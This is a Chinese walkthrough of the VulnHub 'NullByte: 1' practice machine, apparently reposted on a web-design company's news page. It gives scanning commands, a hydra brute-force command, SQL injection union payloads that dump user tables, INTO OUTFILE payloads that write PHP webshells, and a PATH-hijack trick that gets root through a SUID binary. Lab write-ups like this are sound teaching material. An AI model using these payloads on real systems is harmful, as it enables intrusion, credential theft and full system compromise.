尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

NullByte: 1靶机攻略

NullByte: 1靶机攻略
📅 发布时间:2026/7/29 18:12:52

https://zhuanlan.zhihu.com/p/17341573329

NullByte: 1 ~ VulnHub

1.主机发现

arp-scan -I eth0 192.168.100.0/24

2.端口扫描

nmap -sS -Pn --min-rate=10000 -sV -O 192.168.100.148 -p-

nmap -sU --top-port 20 192.168.100.148 closed Nmap 发 UDP 包 → 目标返回 ICMP 端口不可达 👉 确定:这个 UDP 端口没有开放 例:123/udp closed open|filtered Nmap 发包后 → 目标完全没有任何回复 两种可能性 Nmap 区分不开: 情况 A:端口开放,UDP 服务收到探测包,但不会主动回应空探测包 情况 B:防火墙直接丢弃数据包(过滤) 👉 所以标记 open|filtered,不能直接断定开放,需要进一步验证 -sU: 这个选项告诉Nmap执行UDP扫描。 --top-port 20: 这个选项告诉Nmap只扫描最常见的20个端口。Nmap会扫描UDP端口1到20,这些端口通常是最有可能开放的UDP端口。

再利用nmap进行UDP端口的扫描,但是没有什么特别值得去挖掘的地方,从目前的情况来看,80端口是最值得去查看的。

nmap漏洞扫描

利用nmap进行漏洞扫描挖掘,看看有没有什么新的发现。

nmap --script=vuln -p80,111,777,34547 192.168.100.148

这个一般会很慢 可以加-T4

漏洞编号:CVE-2011-1002原理:发送畸形空 UDP 包,存在漏洞的 Avahi 服务会崩溃(拒绝服务 DoS)对于渗透不是突破口

web80端口探测

访问web的80端口,就一张图片,右击查看网页源代码,就显示了一张图片名字,没有任何的提示了。

3.目录扫描

dirsearch -u http://192.168.100.148

/uploads、/phpmyadmin、/javascript目录,我们下面尝试进行访问扫描出来的目录。

访问/uploads/目录,提示这个目录下没有任何的文件,这就给我们一个提示,说不定是叫我们到时候上传上去呢,要不然不会无辜给出一个/uploas/目录的,这个我们后面多注意下。

访问/phpmyadmin/目录,发现需要进行登录,一般像这种情况,我们可以进行弱口令登录,有就有,没有就算了,因为实战中就是这莫个思路。想到要账号密码,那我们得进行信息收集,把像密码的收集起来,然后进行登录尝试。

4.web渗透思路

我们开始进行web渗透信息收集的时候,开始有张图片,我们可以按照CTF的思路进行分析,因为这张图片是在web网站的根目录下,所以我们可以直接进行下载。

wget http://192.168.100.148/main.gif file main.gif exiftool main.gif

exiftool

说不定是目录呢试一试

还真是个目录

查看源代码发现这个

hydra爆破key值

利用hydra九头蛇进行爆破,其中rockyou.txt是kali中常用密码碰撞的字典,师傅们可以记录下。

hydra 192.168.100.148 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l routing -P /usr/share/wordlists/rockyou.txt hydra: 这是执行暴力破解攻击的工具。 192.168.100.148: 这是目标主机的IP地址。 http-form-post: 这个选项告诉Hydra使用HTTP POST方法来提交表单。 "/kzMb5nVYJw/index.php:key=^PASS^:invalid key": 这是指定了要攻击的目标URL和表单字段。在这个URL中,kzMb5nVYJw/index.php 是表单提交的路径,key=^PASS^ 是表单字段,^PASS^ 是Hydra将会尝试猜测的密码的占位符,而 invalid key 是当密码错误时,网站返回的响应。 -l routing: 这个选项指定了要猜测的用户名,routing 在这里是一个示例用户名。 -P /usr/share/wordlists/rockyou.txt: 这个选项指定了用于猜测密码的字典文件路径。在这里,使用了一个常见的密码字典文件 /usr/share/wordlists/rockyou.txt。 因为这是单参数表单,没有用户名提交项。routing不是刚需只是为了语法 hydra 要求必须带上 -l/-L 参数(语法强制要求,不然报错), 所以作者说:随便写一个用户名凑语法,写啥都行,不影响爆破结果。

登登陆成功

sql注入联合查询

我们右击查看源代码,发现了420search.php 文件,这个文件应该是与这个界面交互的一个文件。

那么直接有我们随便输入一个1,提示我们成功查询到数据,并且我们发现这里存在GET传参,

我们把1删掉,发现了两个用户,以及别的信息,这很有可能存在sql注入漏洞,我们下一步就是可以进行sql注入漏洞尝试。

当我们输入双引号",发现这个页面报错了,说明我们的猜想是正确的,就是存在sql注入

那么我们合并--+

或者-- -

或者#

或者--空

红色的可以

1、order by查看这个数据库的列数,我们发现3列正常回显,而4列的时候报错了,说明这个数据库就是3列。

2、union select查看数据库,发现数据库的名是:seth

3、查看表,发现表名叫users

http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch="union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
○ schemata表:存储该用户创建的所有的数据库库名,这里我们只需要记住SCHEMA_NAME这个字段; ○ tables表:存储该用户创建的所有的数据库库名和表名,这里我们只需要记住TABLE_SCHEMA和TABLE_NAME这两个字段; ○ columns表:存储该用户创建的所有的数据库库名、表名和字段名,这里我们只需要记住TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME;

4、查看列名,得到列:id,user,pass,position

http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch="union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"--+

5、查看user,pass内容,为了看清楚,我这里把user和pass分别查看,因为pass是一个字符串比较长。

" union select 1,2,group_concat(user) from seth.sethusers--+

YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE= base64 c6d6bd7ebf806f43c76acc3681703b81 base64解码 看上去像是一个md5的字符

这里知道用户名可能是ramses,isis

与密码匹配试试

ssh连接
ssh ramses@192.168.100.148 -p 777

SQL注入写入一句话木马
1.数据库secure_file_priv参数为空,即我们具有写的权限。 2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。

这里我们利用into outfile写入php木马文件到/var/www/html/uploads/目录下,然后利用GET传参,执行命令

http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php @eval($_POST[1]);?>",2,3 into outfile "/var/www/html/uploads/shell.php" --+ 这个是直接webshell连接 图像化探索 http://192.168.100.148/uploads/shell.php 密码1 http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php system($_GET[cmd]);?>",2,3 into outfile "/var/www/html/uploads/shelll.php" --+ <?php system($_GET[cmd]);?>也行 可以在当前页面执行系统命令 http://192.168.100.148/uploads/shelll.php?cmd=whoami 页面回显www-data 两者区别 eval():执行 PHP 代码 post传参 http://xxx/shelll.php 1=system('whoami'); system():调用系统命令(操作系统 shell) get传参 http://xxx/shelll.php?cmd=whoami

成功拿到shell

发现数据库的密码得到:数据库的账号为root,密码为sunnyvale

那么我们就可以利用这个账号密码进行登录ip/phpmyadmin/了

sqlmap一把梭

利用sqlmap跑脚本,就不带师傅们讲太多了,只要找到了注入点,直接用脚本的命令跑就好了。

sqlmap -u "http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=1" --batch --dump

base64解码 md5解码

sqlmap -u "http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=1" --batch -D seth -T users -C ramses,isis --dump

5.提权

ssh连接

find / -perm -u=s -type f 2>/dev/null

查看history

发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

首先建立一个软连接,将ps连接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps export PATH=.:$PATH ./procwatch

相关新闻

  • 2026年下半年制造业厂房通风降温设备供应厂家:韵蓝环境设备(安徽)有限公司专业解析 - 优企名品
  • DBeaver数据库管理工具:5步打造高效数据管理环境
  • 2026年门窗选购指南:佛山品质性价比优选测评 - 米諾

最新新闻

  • TEL 2L08-05105-11 PCB 板
  • 2026 东莞黄金回收红榜门店出炉,多年老店放心变现闲置金 - 一日一测评
  • 零基础入门OpenMMD:3步将真人视频变身为3D动画
  • 如何快速组装AlohaMini:完整硬件装配指南与3D打印零件清单
  • VMware 15安装Windows 10虚拟机:从零配置到性能优化全指南
  • 执医考试买哪个模拟试卷押题准?我用过的阿虎模拟卷体验 - 医考机构品牌测评专家

日新闻

  • 金融舆情监测系统:多语言情感分析与实时可视化技术解析
  • QT C++调用Python异常处理:PyBind11实战与跨语言编程指南
  • A-47双麦回音消除模块:主次麦空间分布与差分连接对ENC性能的影响

周新闻

  • 大连理工大学与东京大学联手打造的“主动型AI助手“
  • 170.2026年国家级科研瓶颈:超精密单点金刚石切削(SPDT)光学表面生成
  • SongBloom:革命性歌曲生成框架深度解析——如何通过交织自回归与扩散模型创作完整音乐

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号